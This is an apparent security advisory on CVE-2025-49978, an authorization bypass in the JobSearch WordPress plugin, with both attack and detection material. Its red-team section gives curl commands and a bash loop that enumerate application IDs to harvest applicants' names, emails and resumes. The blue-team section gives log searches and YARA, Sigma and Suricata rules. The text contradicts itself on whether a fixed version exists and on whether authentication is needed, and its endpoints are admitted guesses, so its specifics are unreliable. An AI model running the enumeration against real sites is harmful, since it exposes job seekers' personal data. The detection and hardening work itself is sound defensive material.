CVE-2025-49978

Executive Summary

CVE-2025-49978 is an Authorization Bypass Through User-Controlled Key vulnerability in the Eyecix JobSearch WordPress plugin (versions prior to 3.0.6). This flaw allows an unauthenticated attacker to manipulate a user-controlled key (likely a parameter such as job_id, user_id, or a nonce) to access or modify resources that should be protected by access control checks. The vulnerability is classified as CWE-639: Authorization Bypass Through User-Controlled Key.

Given that this is a WordPress plugin vulnerability, the attack surface is broad, as JobSearch is a popular recruitment plugin. The CVSS score of 4.3 (Medium) reflects the low complexity and network-based attack vector, but the impact is limited to confidentiality (low) with no integrity or availability impact. The EPSS score of 0.0% indicates very low exploitation activity in the wild, but the lack of a vendor patch makes this a ticking time bomb for unpatched sites.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must treat this as a supply chain risk: any site running JobSearch < 3.0.6 is vulnerable. The plugin’s update mechanism may not push a fix, so manual intervention (e.g., disabling the plugin or applying a virtual patch via WAF) is required.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability is easy to exploit but only allows limited information disclosure (e.g., viewing other users’ job applications, candidate details, or internal IDs). It does not allow data modification or privilege escalation.

Deep Dive & Mechanics

The vulnerability stems from the plugin’s failure to validate that the user-controlled key (e.g., job_id, application_id, or user_id) belongs to the authenticated user or is authorized for the current session. In WordPress plugins, such keys are often passed via GET or POST parameters to fetch or modify resources. Without proper authorization checks, an attacker can enumerate or manipulate these keys to access data belonging to other users.

Example Attack Flow:

1. An authenticated user (or even an unauthenticated user if the endpoint is public) submits a job application. The plugin generates a unique application ID.
2. The attacker intercepts the request and changes the application_id parameter to another value (e.g., incrementing by 1).
3. The plugin returns the details of another user’s application, including personal data (name, email, phone, resume URL).

The root cause is the lack of a current_user_can() or wp_verify_nonce() check on the affected endpoints. The plugin likely uses a direct database query without verifying ownership.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes for CWE-639.

Vulnerable Code (JobSearch < 3.0.6):

// In a REST endpoint or AJAX handler
$application_id = $_GET['application_id'];
$application = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}job_applications WHERE id = %d", $application_id));
echo json_encode($application);

Patched Code (Hypothetical fix):

$application_id = intval($_GET['application_id']);
$current_user_id = get_current_user_id();
$application = $wpdb->get_row($wpdb->prepare(
    "SELECT * FROM {$wpdb->prefix}job_applications WHERE id = %d AND user_id = %d",
    $application_id,
    $current_user_id
));
if (!$application) {
    wp_die('Unauthorized', 403);
}
echo json_encode($application);

The patched version adds a user_id check to ensure the application belongs to the current user.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code exists, the following is a conceptual proof-of-concept.

Prerequisites:

• A WordPress site with JobSearch plugin version < 3.0.6.
• A valid (or no) user session.

Exploit Steps:

1. Identify the vulnerable endpoint. Common endpoints include:
   • /wp-admin/admin-ajax.php?action=jobsearch_get_application&application_id=X
   • /wp-json/jobsearch/v1/application/{id}
2. Send a GET request with a manipulated application_id:

   curl -v "http://target.com/wp-admin/admin-ajax.php?action=jobsearch_get_application&application_id=1"
   

3. Iterate through IDs to extract data:

   for i in {1..100}; do
     curl -s "http://target.com/wp-admin/admin-ajax.php?action=jobsearch_get_application&application_id=$i" | jq '.'
   done
   

Expected Output: JSON containing applicant details (name, email, phone, resume URL).

Blue Team (Detection & Hardening)

Detection:

• Monitor for sequential ID enumeration in access logs:

  grep "admin-ajax.php" /var/log/nginx/access.log | grep "application_id" | awk '{print $1, $7}' | sort | uniq -c | sort -nr
  

• Look for spikes in 200 responses to the same endpoint with different application_id values.

Hardening:

• Apply a virtual patch using a Web Application Firewall (WAF) rule to block requests with manipulated application_id parameters.
• Disable the plugin until an official patch is released.
• Implement server-side rate limiting on AJAX endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /wp-admin/admin-ajax.php with varying application_id parameters.
  • Requests to /wp-json/jobsearch/v1/application/{id} with sequential IDs.
• File IOCs:
  • Unusual entries in WordPress debug log (wp-content/debug.log) showing Undefined array key or Unauthorized errors.
• Log IOCs:
  • Apache/Nginx access logs showing patterns like:

    192.168.1.100 - - [10/May/2025:12:00:00 +0000] "GET /wp-admin/admin-ajax.php?action=jobsearch_get_application&application_id=1 HTTP/1.1" 200 1234
    192.168.1.100 - - [10/May/2025:12:00:01 +0000] "GET /wp-admin/admin-ajax.php?action=jobsearch_get_application&application_id=2 HTTP/1.1" 200 1234
    

Detection Engineering

YARA Rule

rule CVE_2025_49978_JobSearch_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-49978 in Eyecix JobSearch plugin"
        author = "Valters IT"
        date = "2025-05-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-49978"
    strings:
        $ajax_action = "admin-ajax.php"
        $action_param = "action=jobsearch_get_application"
        $id_param = "application_id="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-49978 JobSearch Authorization Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects sequential ID enumeration attempts against JobSearch plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=jobsearch_get_application'
        cs-uri-query|contains: 'application_id='
    condition: selection
falsepositives:
    - Legitimate use of the plugin by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49978 JobSearch Authorization Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"admin-ajax.php"; http_uri; content:"action=jobsearch_get_application"; http_uri; content:"application_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to business operations.
2. Apply a virtual patch using a WAF (e.g., ModSecurity, Cloudflare) to block requests with manipulated application_id parameters.
3. Monitor logs for the IOCs listed above.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and adding authorization checks (as shown in the patched code example).
• Contact the vendor (Eyecix) for an update or timeline.
• Evaluate alternative job board plugins that are actively maintained.

Workaround:

• Restrict access to the vulnerable endpoints via .htaccess:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  (Note: This will break legitimate AJAX functionality; use with caution.)

Valters IT